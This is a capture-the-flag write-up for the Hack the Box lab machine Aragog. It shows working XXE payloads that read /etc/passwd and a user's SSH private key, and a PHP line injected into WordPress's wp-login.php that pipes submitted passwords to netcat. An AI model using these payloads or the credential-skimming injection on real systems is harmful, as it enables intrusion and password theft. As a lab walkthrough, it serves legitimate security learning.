Hack the Box Writeup - Aragog

A full guide to the Hack the Box machine, Aragog.

Hack the Box Writeup - Aragog

This post details the steps required to fully compromise the Hack the Box machine, Aragog.

Enumeration

$ nmap -sC -sV -p- -oA nmap/initial 10.10.10.78

Results show ftp, ssh and http ports open.

Nmap results also show that the FTP service allows anonymous login. Logging in we can see one file, test.txt.

Downloading it we can see the file contains the following XML:

<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>

Not much use to us at the moment, so lets move on.

Browsing to http://10.10.10.78 just shows us the basic Apache Ubuntu Default page. So lets see what we can find with gobuster.

$ gobuster -u http://10.10.10.78 -w /usr/share/wordlists/dirbuster/directory-list- -s 307,200,204,301,302,403 -x php,txt -t 50

gobuster

This finds a few new pages; hosts.php and server-status. The server status page is giving a 403 - Forbidden response so lets use curl on the hosts.php URL which gives us the following:

$ curl http://10.10.10.78/hosts.php

There are 4294967294 possible hosts for 

Again, not much information here, but that response looks suspiciously like it is expecting some input. So lets take a closer look using burp.

Using the proxy, we can see the request headers are as follows:

GET /hosts.php HTTP/1.1
Host: 10.10.10.78
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Looking at the Accept line there we can see that it may take some XML as input. Maybe that file we downloaded from the FTP service has something to do with it? Given our initial response mentioned 'possible hosts' and the text file we downloaded contains a subnet mask I think it highly likely that the two are correlated.

So lets use curl to send that text file containing XML to this page.

$ curl -X POST -d @test.txt http://10.10.10.78/hosts.php

There are 62 possible hosts for 255.255.255.192

That is a different response from earlier proving that the script is doing some processing on the file we sent. Given that we are sending XML to the endpoint I think it quite likely that this URL is a good candidate for an XML External Entity attack.

Exploitation

Fire up a text editor and make the following modifications to the XML file.

<?xml version="1.0" ?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>

Re-running the curl command with the modified XML does in fact give us a dump of the password file, showing that we have a Local File Inclusion exploit.

curl -X POST -d @test.txt http://10.10.10.78/hosts.php

There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
florian:x:1000:1000:florian,,,:/home/florian:/bin/bash
cliff:x:1001:1001::/home/cliff:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:123:130:ftp daemon,,,:/srv/ftp:/bin/false

Looking at this password file we can see what are likely two normal users (florian and cliff), and that there must be MySQL running on the machine too. Given we saw no ports for it in our initial scan it must be running for localhost only.

Referring back to our initial nmap scan we can also see that ssh is running, so given that we can access local files on the machine, maybe we can steal a users private key!

Changing the XML file to the following:

<?xml version="1.0" ?>
<!DOCTYPE xxe [
  <!ELEMENT xxe ANY>
  <!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa">
]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>

We get the key back! Paste it into a file, set the correct permissions on it (so ssh won't ignore it) and then lets ssh into the box.

$ chmod 600 florian_key
$ ssh -i florian_key [email protected]

And boom, we get a shell without any password requests.

ssh

This gives us access to the first flag.

Further Enumeration

Now lets do some more enumeration from our new perspective. Lets get LinEnum on there. If you don't have it already, clone it to your machine, run python -m SimpleHTTPServer and then use wget http://10.10.14.15:8000/LinEnum.sh on aragog to get it on there.

The results of LinEnum don't show any easy wins, but does appear to show a website that our earlier gobuster scan didn't find, dev_wiki. Browsing to it shows it redirects to http://aragog/dev_wiki so we need to add that name to our hosts file otherwise we won't be able to see the page properly.

Once done, we can see that dev_wiki is a wordpress site apparently set up by the other user we know of, cliff. The site contains a blog post from cliff to florian saying that he will likely be restoring the site from backup fairly frequently and that he will be logging in regularly too.

Having a dig into the wordpress files located at /var/www/html/dev_wiki we find the MySQL root user's password in the file wp-config.php.

So now we can log into the MySQL instance and take a look at what we can find.

mysql

Looking in the wp_wiki database and the wp_users table shows that there is only one single user currently setup, Administrator. We can also see the hashed password. Whilst we could change it to something we know, given cliff's blog post about logging in regularly, if we changed the password then he would no longer be able to log in.

Instead, lets see if we can find the processes running which are restoring the backup regularly, and cliff "logging in".

Using a useful little piece of bash I found on the Hack the Box forums we can monitor the /proc directory and log all processes we find running. You can find the bash script here. Credit goes to Hack the Box user CorayLi.

So we download the script to our box, set it executable, run it, and let it do it's thing for a few minutes to makes sure it captures everything. It will dump all it finds into a file called pshistory. A quick cat of that and we can comb through the results to see if anything stands out.

processes

If you look closely you will see a process that runs from the root directory called restore.sh - we can assume this is what deletes the dev_wiki and restores it from backup every 5 minutes or so. Next to it is another process that is running from the user cliff, a python script called wp-login.py. We can assume that this is cliff "logging in" to the blog as mentioned in his post to florian. So we need a way of intercepting these credentials when cliff logs in.

Looking back to the dev_wiki folder we can see that the permissions are set rather badly which allows us to modify all the PHP files of the wordpress installation. So we need to insert some code into the wp-login.php page that will send us the user passwords as people log in.

Privilege Escalation

We open up the wp-login.php file and look to find a likely place to put our code. Towards the end of the file is a case statement with an entry saying login. Seems like a good candidate as slightly further down in the code we see the following line, $user = wp_signon( array(), $secure_cookie );. So directly after this we insert the following:

shell_exec('echo "'.$_POST['pwd'].'" | nc 127.0.0.1 8080');

Save the file, then setup a netcat listener for port 8080.

$ nc -nlvp 8080

Then we wait, and within a few minutes we get a hit!.

Then it's simply a case of using su and entering the password our netcat listener received, and boom, we have root and the second flag :)